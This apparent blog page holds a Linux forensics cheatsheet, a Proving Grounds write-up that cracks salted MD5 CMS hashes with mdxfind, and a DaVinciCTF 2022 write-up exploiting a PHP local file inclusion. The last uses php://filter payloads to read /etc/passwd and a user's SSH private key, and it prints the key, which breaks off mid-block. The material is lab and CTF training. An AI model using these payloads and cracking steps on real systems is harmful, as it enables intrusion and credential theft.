A New Method A New Method

Linux Forensics Cheatsheet

Recently, I finished up the LInux Forensics Room on TryHackMe and found a lot of really great refreshers on concepts I think are relevant for Penetration Testers, CTF Players and wannabe Red Teamers.

Here’s my LInux Forensics cheatsheet, its also available on Github.

 OS and account information

Getting release information:

cat  /etc/os-release

Finding User Accounts:

The passwd is usually world readable by default and can be used to enumerate other users on the machine.

cat /etc/passwd

We can clean up the output w/ the following:

cat /etc/passwd | column -t -s :

Group Information

We can get information about groups in the following way: /etc/group

Example:

user@machine$ cat /etc/group 
root:x:0: 
daemon:x:1: 
bin:x:2: 
sys:x:3: 
adm:x:4:syslog,ubuntu 
tty:x:5:syslog

Here’ we can see the user adm belongs to the syslog and ubuntu groups.

The x signifies that the user has a password stored in the /etc/shadow file.

Sudoers List

We can view the sudoers list, or users allowed to upgrade their privileges by viewing. /etc/sudoers

Login information

Found in the /var/log, we can view log files. These include:

- wtmp
- btmp

These contain information about failed logins. wtmp keeps historical data about logins. These files are binary files and can be viewed with the last command.

Authentication logs

All authenticagted users are logged in the authlog. These can be found at:

/var/log/auth.log

You’ll need to be root or allowed to view these files.

Example usage:

cat /var/log/auth.log | tail

Hostname

Example:

cat /etc/hostname

Timezone

cat /etc/timezone

Network Configuration

/etc/network/interfaces

Active network connections

We primarly will use system tools like netstat

netstat -pant

Running processes

ps aux

DNS information

Files like /etc/hosts contain configuration information for DNS assignments.

cat /etc/hosts

Information about DNS resolvers (how linux hosts talks to DNSServers) can be found in /etc/resolv.conf

cat /etc/resolv.conf


Persistence Mechanisms

Cron jobs

cat /etc/crontab

Service startup

cat /etc/init.d

.Bashrc

When a bash shell is started it runs commands through the .bashrc file which can be found in the users home directory. /var/ cat ~/.bashrc

Sudo execution history

All the commands that are run on a Linux host using sudo are stored in the auth log. We already learned about the auth log in Task 3. We can use the grep utility to filter out only the required information from the auth log.

user@machine$ cat /var/log/auth.log* |grep -i COMMAND|tail

Bash history

Any commands other than the ones run using sudo are stored in the bash history. Every user’s bash history is stored separately in that user’s home folder. Therefore, when examining bash history, we need to get the bash_history file from each user’s home directory. It is important to examine the bash history from the root user as well, to make note of all the commands run using the root user as well.

user@machine$ cat ~/.bash_history

Files accessed using vim

Vim keeps logs. So we can and should access these:

cat ~/.viminfo

Log FIles

Log files are insanely important for forensics investigations.

Log files can be found at: /var/log

Syslog

The Syslog contains messages that are recorded by the host about system activity. The detail is configurable through the logging level.

We can use cat, head, more, and `less.

Example

cat /var/log/syslog* | head

Auth logs

cat /var/log/auth.log* |head

Third Party Logs

Similar to sys and auth logs we can find other types of logs in /var/log/.

Proving Grounds-Monster (Part 1)

Previously on…

After exploiting a weak password vulnerability, we gain admin access to the monster.pg blog. The blog is running monstra 3.0.4 which is vulnerable to a number of known exploits, but they appear to have been patched on the target.

Using the sites’s functionality we’re able to download a copy of the website and find the users.table.xml file which appears to contain some password hashes.

Hash cracking

With the previously found hashes:

< ...snip...>

   <login>admin</login>
    <password>a2b4e80ad640abbb6e417febe095dcbfc</password>
    <email>wazowski@monster.pg</email>
    <hash>jJkdUgd1FOFiI</hash>
	
< ...end-snip...>

Note: I’m not providing the real hashes in this walkthrough.

We can defintely crack the hashes with something like John or Hashcat, but it’ll take a lot longer without some recon or enumeration on the hashes.

Luckly, we’ve already “cracked” one user; admin:wazowski and have the hash, provided for us. So we can do some work out how how hashes are made on the blog, and then work to create a strategy for how to crack these hashes.

Finding the Salt

Salts should be random, but its worth checking the source of the Monstra CMS to see what the default is:

Line 66 of the source.

Googling around would also have helped us, as it would have turned up this HacktheBox CTF write-up.

Now that we know how the salts were created, we’ll combine this with our known password, and hash to confirm that the site is using the default salt of YOUR_SALT_HERE.

mdxfind

MATT0177, says it well, when describing the use case for mdxfind:

Most password cracking programs require three things. A list of the hashes you want to crack, the algorithm that they’re in and a dictionary that you would like to use for your attempts. MDXFIND is for when you have hashes and a dictionary, but you’re not sure what format the hashes are in.

source:www.digitalforensicstips.com

You can grab a copy of mdxfind at https://hashes.org/mdxfind.php.

I recommend running mdxfind with the -h flag to get familar with it. mdxfind reads from source files, so we’ll create the files required for it to work.

  • Place YOUR_SALT_HERE in a file named salt.txt
  • Create a file named password.txt with wazowski in it.

Now we’ll pass our hash to mdxfind, making sure to let mdxfind know we’re looking at an MD5 hash. We’ll provide it with the salt.txt and password.txt files. Finally, we’ll try a few iterations, like 4 just to start off.

Out final command will look something like this:

echo "a2b4e80ad640abbb6e417febe095dcbfc" | ./mdxfind -h 'MD5' -s salt.txt password.txt -i 4

Run correctly, and our output should have something like this at the end.

1 total salts in use
Generated 19998 Userids
Reading hash list from stdin...
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from <STDIN>
Maximum hash chain depth is 1
Minimum hash length is 32 characters
Using 2 cores
MD5PASSSALTx02 a2b4e80cd640aaa6e417febe095dcbfc:YOUR_SALT_HERE:wazowski

Done - 2 threads caught
1 lines processed in 0 seconds
1.00 lines per second
0.15 seconds hashing, 1,638,403 total hash calculations
10.68M hashes per second (approx)
1 total files
1 MD5PASSSALTx02 hashes found
1 Total hashes found

Cool! So we’ve confirmed that the salt used with these hashes is the laugable default hash in the app source: YOUR_SALT_HERE.

With this work done, we can now work to crack that other hash we found.

Cracking MD5 salted Hashes with mdxfind

If we run the same command as above, and provide the mike user’s hash;

echo "844ffc2c7150b93c4133a6ff2e1a2dba" | ./mdxfind -h 'MD5PASSSALT' -s salt.txt rockyou.txt -i 2

We should get back the user’s password.

1 salts read from salt.txt
Iterations set to 2
Working on hash types: MD5PASSSALT SHA1revMD5PASSSALT SHA1MD5PASSSALT MD5-SALTMD5PASSSALT 
1 total salts in use
Reading hash list from stdin...
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from <STDIN>
Maximum hash chain depth is 1
Minimum hash length is 32 characters
Using 2 cores
MD5PASSSALTx02 844ffc2c7150b93c4133a6ff2e1a2dba:YOUR_SALT_HERE:Mike14

With this password in hand we can look back at our notes so far and remember where we might be able to use this.

RDP seems like a good idea.

In the next post on this machine, we’ll talk a little about Windows Privilege Escalation.

Davinci CTF 2022-Pentest Part 1

This past weekend, the DaVinciCode hosted a CTF titled “DaVinciCTF 2022” and it was a great fun to try and improve on all the challenges. You can check out on CTFTime as well as their site: https://dvc.tf/

Today, we’ll be looking at the “pentesting” challenge: DaVinci's Playlist : Part 1

https://dvc.tf/challenges#DaVinci’s%20Playlist%20:%20Part%201-37


The challenge site is still up, so feel free to follow along.

Enumeration

Helpfully, the site organizers let us know that we won’t need to bruteforce anything for this challenge.

After reading the challenge description, I visited the target site. I started up BurpSuite, so as to be sure to capture requests.

After watching a few music videos, I take a look at the application, I can see it’s passing data via 2 parameters:

MyTop5=
playlistTop=

So my first attempt is to try adding a single quote (‘) to the those parameters. Here’s one of my requests:

GET /?MyTop5=5&playlistTop=TopRapUS' HTTP/1.1

and there’s something interesting in the response source:

![(/images/CTF/davinci-2022/20220316125749.png)

From here, I tried a few other things, like trying to read the flag, but using a php filter was more useful, so I snagged the source, using the following payload.

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=index.php

I get back the following wad of base64:

http://www.youtube.com/embed/PCFET0NUWVBFIGh0bWw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+TXkgVG9wIDU8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1lZGdlIj4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MSI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vcHJvLmZvbnRhd2Vzb21lLmNvbS9yZWxlYXNlcy92NS4xMi4wL2Nzcy9hbGwuY3NzIiBpbnRlZ3JpdHk9InNoYTM4NC1la09yeWFYUGJlQ3BXUU54TXdTV1Z2UTArMVZyU3RvUEpxNTRzaGxZaFI4SHpRZ2lnMXY1ZmFzNllnT3FMb0t6IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iYXNzZXRzL2Nzcy9ib290c3RyYXAubWluLmNzcyI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImFzc2V0cy9jc3Mvc3R5bGUuY3NzIj4KPC9oZWFkPgoKCgoKPD9waHAKaWYgKGlzc2V0KCRfR0VUWydNeVRvcDUnXSkpIHsKICAgICR0b3AgPSAkX0dFVFsnTXlUb3A1J107Cn0gZWxzZSB7CiAgICAkdG9wID0gIjEiOwp9CgppZiAoaXNzZXQoJF9HRVRbJ3BsYXlsaXN0VG9wJ10pKSB7CiAgICAkcGxheWxpc3QgPSAkX0dFVFsncGxheWxpc3RUb3AnXTsKfSBlbHNlIHsKICAgICRwbGF5bGlzdCA9ICJUb3BSYXBVUyI7Cn0KCgppZiAoaXNzZXQoJHBsYXlsaXN0KSAmJiBpc3NldCgkdG9wKSkgewogICAgJGhhbmRsZSA9IGZvcGVuKCRwbGF5bGlzdCwgInIiKTsKICAgIGlmICgkaGFuZGxlKSB7CiAgICAgICAgJHRhZyA9ICIiOwogICAgICAgICRjb3VudGVyID0gMDsKICAgICAgICB3aGlsZSAoKCRsaW5lID0gZmdldHMoJGhhbmRsZSkpICE9PSBmYWxzZSkgewogICAgICAgICAgICBpZiAoJGNvdW50ZXIgKyAxID09ICR0b3ApIHsKICAgICAgICAgICAgICAgICR0YWcgPSAkbGluZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkY291bnRlcisrOwogICAgICAgIH0KICAgICAgICBmY2xvc2UoJGhhbmRsZSk7CiAgICB9Cn0KPz4KPGRpdiBjbGFzcz0icC00IHRleHQtY2VudGVyIGJnLWltYWdlIiA+CjxkaXYgY2xhc3M9ImNhcmQgbXgtYXV0byIgc3R5bGU9IndpZHRoOiA2MCU7IG1hcmdpbi10b3A6IDQlOyI+CiAgICA8ZGl2IGNsYXNzPSJ0ZXh0LWNlbnRlciI+CiAgICAgICAgPGJyPgoKICAgICAgICA8aDE+PGI+PHU+VG9wIFNvbmdzPC91PjwvYj48L2gxPgogICAgCiAgICAgICAgPGJyPgogICAgICAgIDxpZnJhbWUgc3JjPSJodHRwOi8vd3d3LnlvdXR1YmUuY29tL2VtYmVkLzw/cGhwIGVjaG8gJHRhZzsgPz4iIHdpZHRoPSI1NjAiIGhlaWdodD0iMzE1IiBmcmFtZWJvcmRlcj0iMCIgYWxsb3dmdWxsc2NyZWVuPjwvaWZyYW1lPgogICAKICAgICAgICA8YnI+CiAgICAgICAgPGJyPgoKICAgICAgICA8Ym9keT4KICAgICAgICAgICAgPGgyPjxiPlNvbmc8L2I+PC9oMj4KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJnZXQiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBpZD0idmlkZW8xIiBuYW1lPSJNeVRvcDUiIHZhbHVlPSIxIiA8P3BocCBpZiggIShpc3NldCgkX0dFVFsnTXlUb3A1J10pKSB8fCAoaXNzZXQoJF9HRVRbJ015VG9wNSddKSAmJiAkX0dFVFsnTXlUb3A1J10gPT0gJzEnKSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJz8+PgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0idmlkZW8xIj5Ub3AgMTwvbGFiZWw+CgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBpZD0idmlkZW8yIiBuYW1lPSJNeVRvcDUiIHZhbHVlPSIyIiA8P3BocCBpZiggKGlzc2V0KCRfR0VUWydNeVRvcDUnXSkgJiYgJF9HRVRbJ015VG9wNSddID09ICcyJykpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic/Pj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InZpZGVvMiI+VG9wIDI8L2xhYmVsPgoKICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9InZpZGVvMyIgbmFtZT0iTXlUb3A1IiB2YWx1ZT0iMyIgPD9waHAgaWYoIChpc3NldCgkX0dFVFsnTXlUb3A1J10pICYmICRfR0VUWydNeVRvcDUnXSA9PSAnMycpKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInPz4+CiAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJ2aWRlbzMiPlRvcCAzPC9sYWJlbD4KCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIGlkPSJ2aWRlbzQiIG5hbWU9Ik15VG9wNSIgdmFsdWU9IjQiIDw/cGhwIGlmKCAoaXNzZXQoJF9HRVRbJ015VG9wNSddKSAmJiAkX0dFVFsnTXlUb3A1J10gPT0gJzQnKSkgZWNobyAnIGNoZWNrZWQ9ImNoZWNrZWQiJz8+PgogICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0idmlkZW80Ij5Ub3AgNDwvbGFiZWw+CgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBpZD0idmlkZW81IiBuYW1lPSJNeVRvcDUiIHZhbHVlPSI1IiA8P3BocCBpZiggKGlzc2V0KCRfR0VUWydNeVRvcDUnXSkgJiYgJF9HRVRbJ015VG9wNSddID09ICc1JykpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic/Pj4KICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9InZpZGVvNSI+VG9wIDU8L2xhYmVsPgoKICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgIDxicj4KCiAgICAgICAgICAgICAgICA8aDI+PGI+UGxheWxpc3Q8L2I+PC9oMj4KCiAgICAgICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJyYWRpbyIgaWQ9IlRPUCIgbmFtZT0icGxheWxpc3RUb3AiIHZhbHVlPSJUb3BSYXBVUyIgPD9waHAgaWYoICEoaXNzZXQoJF9HRVRbJ3BsYXlsaXN0VG9wJ10pKSB8fCAoaXNzZXQoJF9HRVRbJ3BsYXlsaXN0VG9wJ10pICYmICRfR0VUWydwbGF5bGlzdFRvcCddID09ICdUb3BSYXBVUycpKSBlY2hvICcgY2hlY2tlZD0iY2hlY2tlZCInPz4+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0idmlkZW8xIj5SYXAgVVM8L2xhYmVsPgoKICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0icmFkaW8iIGlkPSJUT1AiIG5hbWU9InBsYXlsaXN0VG9wIiB2YWx1ZT0iVG9wUmFwRnIiIDw/cGhwIGlmKChpc3NldCgkX0dFVFsncGxheWxpc3RUb3AnXSkgJiYgJF9HRVRbJ3BsYXlsaXN0VG9wJ10gPT0gJ1RvcFJhcEZyJykpIGVjaG8gJyBjaGVja2VkPSJjaGVja2VkIic/Pj4KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSJ2aWRlbzIiPlJhcCBGUiA8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgPGRpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB0eXBlPSJzdWJtaXQiPlN1Ym1pdDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9mb3JtPgoKICAgICAgICAgICAgPC9mb3JtPgoKICAgICAgICA8L2JvZHk+CiAgICAgICAgPGJyPgogICAgPC9kaXY+CjwvZGl2Pgo8L2Rpdj4KPC9odG1sPgo=

and after a decode we get the following:

<!DOCTYPE html>
<html>

<head>
    <title>My Top 5</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.12.0/css/all.css" integrity="sha384-ekOryaXPbeCpWQNxMwSWVvQ0+1VrStoPJq54shlYhR8HzQgig1v5fas6YgOqLoKz" crossorigin="anonymous">
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/style.css">
</head>




<?php
if (isset($_GET['MyTop5'])) {
    $top = $_GET['MyTop5'];
} else {
    $top = "1";
}

if (isset($_GET['playlistTop'])) {
    $playlist = $_GET['playlistTop'];
} else {
    $playlist = "TopRapUS";
}


if (isset($playlist) && isset($top)) {
    $handle = fopen($playlist, "r");
    if ($handle) {
        $tag = "";
        $counter = 0;
        while (($line = fgets($handle)) !== false) {
            if ($counter + 1 == $top) {
                $tag = $line;
            }
            $counter++;
        }
        fclose($handle);
    }
}
?>
<div class="p-4 text-center bg-image" >
<div class="card mx-auto" style="width: 60%; margin-top: 4%;">
    <div class="text-center">
        <br>

        <h1><b><u>Top Songs</u></b></h1>
    
        <br>
        <iframe src="http://www.youtube.com/embed/<?php echo $tag; ?>" width="560" height="315" frameborder="0" allowfullscreen></iframe>
   
        <br>
        <br>

        <body>
            <h2><b>Song</b></h2>
            <form method="get">
                <input type="radio" id="video1" name="MyTop5" value="1" <?php if( !(isset($_GET['MyTop5'])) || (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '1')) echo ' checked="checked"'?>>
                <label for="video1">Top 1</label>

                <input type="radio" id="video2" name="MyTop5" value="2" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '2')) echo ' checked="checked"'?>>
                <label for="video2">Top 2</label>

                <input type="radio" id="video3" name="MyTop5" value="3" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '3')) echo ' checked="checked"'?>>
                <label for="video3">Top 3</label>

                <input type="radio" id="video4" name="MyTop5" value="4" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '4')) echo ' checked="checked"'?>>
                <label for="video4">Top 4</label>

                <input type="radio" id="video5" name="MyTop5" value="5" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '5')) echo ' checked="checked"'?>>
                <label for="video5">Top 5</label>

                <br>
                <br>

                <h2><b>Playlist</b></h2>

                <form method="post">
                    <input type="radio" id="TOP" name="playlistTop" value="TopRapUS" <?php if( !(isset($_GET['playlistTop'])) || (isset($_GET['playlistTop']) && $_GET['playlistTop'] == 'TopRapUS')) echo ' checked="checked"'?>>
                    <label for="video1">Rap US</label>

                    <input type="radio" id="TOP" name="playlistTop" value="TopRapFr" <?php if((isset($_GET['playlistTop']) && $_GET['playlistTop'] == 'TopRapFr')) echo ' checked="checked"'?>>
                    <label for="video2">Rap FR </label>
                    <br>
                    <br>
                    <div>
                        <button class="btn btn-dark" type="submit">Submit</button>
                    </div>
                </form>

            </form>

        </body>
        <br>
    </div>
</div>
</div>
</html>

Now, with source in hand we can see its an LFI challenge at first.

LFI Enumeration

The fopen() hints at the LFI earlier, so we can do something as simple as adding /etc/passwd to our GET request.

Request:

GET /?MyTop5=5&playlistTop=/etc/passwd HTTP/1.1

and we get back the following:

Now, we’ve confirmed we can read files, I’ll combine the 2 to get read encode the /etc/passwd file:

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=/etc/passwd

Response:

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4venNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjEwMDA6MzM6d3d3LWRhdGE6L3Zhci93d3c6L3Vzci9zYmluL25vbG9naW4KYmFja3VwOng6MzQ6MzQ6YmFja3VwOi92YXIvYmFja3VwczovdXNyL3NiaW4vbm9sb2dpbgpsaXN0Ong6Mzg6Mzg6TWFpbGluZyBMaXN0IE1hbmFnZXI6L3Zhci9saXN0Oi91c3Ivc2Jpbi9ub2xvZ2luCmlyYzp4OjM5OjM5OmlyY2Q6L3Zhci9ydW4vaXJjZDovdXNyL3NiaW4vbm9sb2dpbgpnbmF0czp4OjQxOjQxOkduYXRzIEJ1Zy1SZXBvcnRpbmcgU3lzdGVtIChhZG1pbik6L3Zhci9saWIvZ25hdHM6L3Vzci9zYmluL25vbG9naW4Kbm9ib2R5Ong6NjU1MzQ6NjU1MzQ6bm9ib2R5Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAwOjEwMjpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovYmluL2ZhbHNlCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDM6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kL25ldGlmOi9iaW4vZmFsc2UKc3lzdGVtZC1yZXNvbHZlOng6MTAyOjEwNDpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZC9yZXNvbHZlOi9iaW4vZmFsc2UKc3lzdGVtZC1idXMtcHJveHk6eDoxMDM6MTA1OnN5c3RlbWQgQnVzIFByb3h5LCwsOi9ydW4vc3lzdGVtZDovYmluL2ZhbHNlCl9hcHQ6eDoxMDQ6NjU1MzQ6Oi9ub25leGlzdGVudDovYmluL2ZhbHNlCm1lc3NhZ2VidXM6eDoxMDU6MTA5OjovdmFyL3J1bi9kYnVzOi9iaW4vZmFsc2UKc3NoZDp4OjEwNjo2NTUzNDo6L3Zhci9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpsZW9uYXJkbzp4OjEwMDE6MTAwMTo6L2hvbWUvbGVvbmFyZG86L2Jpbi9iYXNoCmFkbWluaXN0cmF0b3I6eDoxMDAyOjEwMDI6Oi9ob21lL2FkbWluaXN0cmF0b3I6L2Jpbi9iYXNoCg==

You can use cyberchef or the terminal to decode the base64 and we get back our file:

root:x:0:0:root:/root:/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:1000:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:109::/var/run/dbus:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
leonardo:x:1001:1001::/home/leonardo:/bin/bash
administrator:x:1002:1002::/home/administrator:/bin/bash

From here, we can see the user leonardo and the administrator user.

We have read access to leonardo’s ssh key via /home/leonardo/.ssh/id_rsa

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=/home/leonardo/.ssh/id_rsa HTTP/1.1

After decoding we get the following:

-----BEGIN OPENSSH PRIVATE KEY-----
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
